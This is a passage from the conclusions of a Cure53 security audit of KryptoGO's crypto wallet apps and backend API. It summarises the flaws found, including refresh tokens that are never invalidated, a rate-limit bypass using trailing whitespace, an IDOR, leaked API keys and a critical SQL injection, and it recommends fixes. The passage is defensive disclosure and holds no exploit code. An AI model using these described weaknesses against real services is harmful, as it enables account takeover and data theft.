,chatroom:write,order:write,order:read&state=SdA0WyXQ45&token_type=Be
arer
[...]
```

7. It must be noted that the response contains a valid *access* token for the user identified by the *Kg-Token* HTTP parameter of the request.

To mitigate this issue Cure53 advises to always provide the *Kg-Token* of a user within the HTTP headers of a request rather than as a query parameter.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Conclusions

All in all it can be concluded that the KryptoGO applications are already on the right track to become well-secured. However, as the findings of this Cure53 examination show, there are still some areas of concern. *KGO-02,* as completed in January 2024, especially draws attention to shortcomings within WP2 aspects of the backend and API endpoints of KryptoGO. The spotted problems need to be addressed before a very good or excellent level of security can be achieved.

In terms of the process itself, prior to the engagement the customer shared with the team the source code of the mobile apps (WP1). For WP2, the customer provided a brief enumeration of all endpoints together with the URL that the mobile app of WP1 uses.

Cure53 and the customer were sharing a Slack channel to facilitate open exchanges of information. The communication was excellent, and help was provided whenever requested. The team gave frequent updates on the progress and status of the assessment. The *Critical* issue KGO-02-011 was live-reported on Slack.

To reiterate, the assessment comprised in total two work packages, namely WP1 and WP2. The first work package covered the mobile apps for both Android and iOS, whereas the second work package included a penetration test of the backend API of the KryptoGO mobile app. All five vulnerabilities, plus two of the general weaknesses, pertain to mistakes in the frame of WP2 targets. Thus, this should be the key arena for focused work at KryptoGO.

Still, some comments should be made about WP1, which was allocated considerably less budget. Therefore, the team was not able to fully investigate all potential leads. Importantly, the mobile apps are written in Flutter, a comparably new programming language that facilitates cross-platform app development. The repository is well-organized and it is evident that the developers are familiar with secure coding practices.

The Android app and the iOS app have been reviewed for common issues specific to each platform, however, it was not possible for the team to perform a comprehensive review of all potential attack vectors. The team performed a best effort review of the apps source code combined with dynamic testing.

The mobile app uses Flutters' secure storage to store some of the information it requires. This is a good sign from a security perspective; however, it was not possible for the team to verify whether the app persists all sensitive information within this secure storage.

In this direction, the team was also investigating the leakage of sensitive information to unauthorized third-parties. It was discovered that the Android app fails to prohibit screenshots for security sensitive screens (KGO-02-001).

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

The app was tested for bypasses of security measures, like for example authentication and authorization controls. The team did not manage to identify a bypass of this kind, which is of course a good sign. However, it was spotted that the app lacks exponential back-off strategies for failed authentication attempts (KGO-02-003).

Cure53 attempted to bring the app into a Denial-of-Service situation, since this would prevent the user from accessing its funds. No such attack vectors have been found during the engagement. Similarly, the team also had a brief look into potential code execution vulnerabilities. It was impossible to mount any successful attack in this area.

It was found that the app applies insecure defaults, as documented in issue KGO-02-002. Ultimately, the team identified a lead towards weak cryptography, implemented in the *mnemonic_backup.dart* file of the *apps/kg-wallet-app/lib/utils* folder. Specifically, this file uses the PBKDF2-HMAC-SHA256 function with an iteration count of *310.000* instead of the recommended *600.000*[7] iterations.

Nevertheless, the team was not able to fully verify whether this code part is still in use or not. Therefore, in case the part is still being used, it is strongly recommended modify the affected functions to comply with current state-of-the-art password-based key derivation function recommendations, as outlined by OWASP[8].

In summary, the team gained the impression that the mobile app is in a good state from a security perspective. However, this can be misleading given the short time allotted for conducting the assessment of WP1.

Moving to WP2, the team had slightly more resources to perform a gray-box assessment of the KryptoGO backend API utilized by the mobile applications examined in WP1. Due to the size of the backend API, the team was not able to fully investigate all leads here either. For this WP, the team solely conducted dynamic tests against the backend API.

The backend was investigated with regards to Denial-of-Service situations. Several attempts were made, including loading large amounts of data that would result in Denial-of-Service situations, unhandled exceptions and panics, or exhausting computational resources. None of the aforementioned attack vectors was successful.

It was also investigated whether the backend uses code execution sinks that an attacker could exploit to gain RCE, but this remained impossible. Next, the team investigated the authentication and authorization handling of the backend. It turned out that the backend provides two authentication schemes, including an OAuth workflow with the Google authentication provider.

[7] https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html#pbkdf2
[8] https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

The handling of the resulting JWTs on a successful authentication flow was investigated and several attacks have been attempted, including JWT-specific attacks (algorithm confusion, self-signed JWTs and none-algorithm tokens, amongst others). From a JWT verification's point of view, the handling of JWTs appears robust.

The token management, however, turned out flawed on many occasions. First, the backend fails to invalidate *refresh* tokens (KGO-02-005), thereby allowing for them to be replayed. Second, the backend does not differentiate between access and refresh tokens (KGO-02-006). Lastly, the backend fails to implement a logout functionality (KGO-02-004).

It was also investigated if the backend suffers from impersonation attacks during the OAuth workflow. While this would result in account-takeovers, the team was not able to identify any successful attack in this regard.

The team checked also for the presence of rate-limiting techniques to mitigate brute-force attacks on the login functionality. It was confirmed that such a mitigation is in place, however, the team also found that the rate-limiting can be bypassed by trailing white spaces on email addresses and phone numbers.

It must be noted that only the external Firebase service prevented an account-takeover, since the code verification for emails and phone numbers with trailing white-spaces was successful.

The team checked the backend application for insecure direct object references that would allow for cross-user actions. It was identified that the backend suffers from an issue of this type in relation to retrieving asset information, as documented in KGO-02-008.

Cure53 investigated if the backend leaked information to the mobile app. Indeed, attackers can successfully recover API keys of external services (KGO-02-009) and enumerate users of the KryptoGO platform (KGO-02-007). Furthermore, the *Kg-Token* JWT, important during the login workflow, leaks through the URL of requests (KGO-02-010).

Lastly, the team also investigated the backend for injection flaws and an SQL injection vulnerability was discovered through one of the API endpoints, as documented in KGO-02-011. Any registered user to the KryptoGO mobile app can access this endpoint.

Further, it must be noted that anyone can freely register to the KryptoGO mobile app. SQL injection vulnerabilities pose an immediate, critical security risk to any backend applications, and therefore, this vulnerability was immediately disclosed to the customer.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

In conclusion, the backend appears in a moderate state from a security perspective, Even though the team found only one *Critical* vulnerability, numerous other issues were reported in a comparably short period of time. All in all, it is recommended to perform a more comprehensive audit of both the mobile app and the involved backend application. Especially for the backend application, it would be beneficial if the assessment of KryptoGO components could be accompanied by the corresponding source code to uncover flaws in the implementation faster.

Cure53 would like to thank Harry Chen, Kordan Ou and Jason Chien from the KryptoGO, Inc. team for their excellent project coordination, support and assistance, both before and during this assignment.